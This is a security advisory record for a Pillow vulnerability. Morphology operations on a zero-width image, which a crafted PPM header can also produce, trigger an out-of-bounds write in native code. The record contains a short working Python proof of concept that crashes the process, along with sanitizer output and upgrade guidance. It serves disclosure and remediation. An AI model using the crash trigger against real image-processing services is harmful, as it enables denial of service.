---
id: CVE-2026-112397
aliases:
  - GHSA-58r4-6rv3-gfh8
  - BIT-pillow-2026-112397
  - PYSEC-2026-4329
title: 'Pillow: Out-of-bounds access in _imagingmorph on a zero-width image'
summary: 'Pillow: Out-of-bounds access in _imagingmorph on a zero-width image'
severity: high
cvss: 7.5
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'
vendor: pillow
product: pillow
ecosystem: pip
affected:
  - pillow < 13.0.0
patched:
  - pillow 13.0.0
published: '2026-10-20'
updated: '2026-10-28'
sourceUpdated: '2026-10-28T11:10:53.627071818Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-58r4-6rv3-gfh8'
references:
  - url: >-
      https://github.com/python-pillow/Pillow/security/advisories/GHSA-58r4-6rv3-gfh8
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-112397'
  - url: >-
      https://github.com/python-pillow/Pillow/commit/18f7c0dfee93063c51db6ed0ca8c4da2999dcb64
  - url: 'https://github.com/python-pillow/Pillow'
  - url: 'https://github.com/python-pillow/Pillow/releases/tag/13.0.0'
  - url: >-
      https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-112397.json
  - url: 'https://access.redhat.com/security/cve/CVE-2026-112397'
  - url: 'https://bugzilla.redhat.com/show_bug.cgi?id=2555868'
  - url: 'https://www.cve.org/CVERecord?id=CVE-2026-112397'
  - url: 'https://github.com/advisories/GHSA-58r4-6rv3-gfh8'
tags:
  - osv
  - pip
  - csaf
  - vex
  - red-hat
  - ghsa
  - cve.org
  - exploit-available
cvssSource: osv
epss: 0.00573
epssPercentile: 0.47212
exploitAvailable: true
ssvc:
  exploitation: poc
  automatable: 'yes'
  technicalImpact: partial
  timestamp: '2026-10-19T21:37:56.314774Z'
cwe:
  - CWE-124
  - CWE-787
scores:
  osv: 7.5
  vendor: 7.5
  cna: 8.7
ingestedAt: '2026-10-19T21:43:56.110Z'
---

## Overview

### Summary
A PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size `(0, N)`. Passing that image to `ImageMorph.MorphOp.apply()` makes the native morphology code index a row buffer at `outrow[width - 1]`, which is `outrow[-1]` when the width is 0. The process crashes.

### Details
The PPM parser reads width and height with no lower-bound check:

- `src/PIL/PpmImagePlugin.py:119`

The native `apply()` writes the row edges with no guard that the width is positive:

- `src/_imagingmorph.c:81` sets `outrow[0] = outrow[width - 1] = 0;`

`match()` and `get_on_pixels()` use the same edge-indexing pattern.

### PoC
```python
from PIL import Image, ImageMorph

# A width-0 image (also producible from a crafted PPM header). apply() indexes
# outrow[width - 1] == outrow[-1] in native code.
im = Image.new("L", (0, 5))
ImageMorph.MorphOp(op_name="dilation4").apply(im)
```

Run it:
```
$ python 03_poc.py
Segmentation fault (core dumped)
```

Observed on a source build of commit `3e2ab96`.

Under AddressSanitizer:
```
==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply)
    #0 apply   src/_imagingmorph.c:81
SUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in apply
```
With width 0 the `outrow[width - 1]` write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow.

### Impact
Out-of-bounds write in a C extension. Affects any application that runs a morphology operation on an image opened from untrusted input. Result is a crash and possible memory corruption.

## Affected packages

- `pillow < 13.0.0`

## Remediation

Upgrade to a patched release:

- `pillow 13.0.0`

## Vendor advisories

- **Red Hat VEX** · Important · affected: Exploit Intelligence, Lightspeed Core, OpenShift Lightspeed, Red Hat AI Inference Server, Red Hat Ansible Automation Platform 2, Red Hat Enterprise Linux 8, … · no fix planned: Exploit Intelligence, Lightspeed Core, OpenShift Lightspeed, Red Hat AI Inference Server, … · updated 2026-10-23 · [vex](https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-112397.json)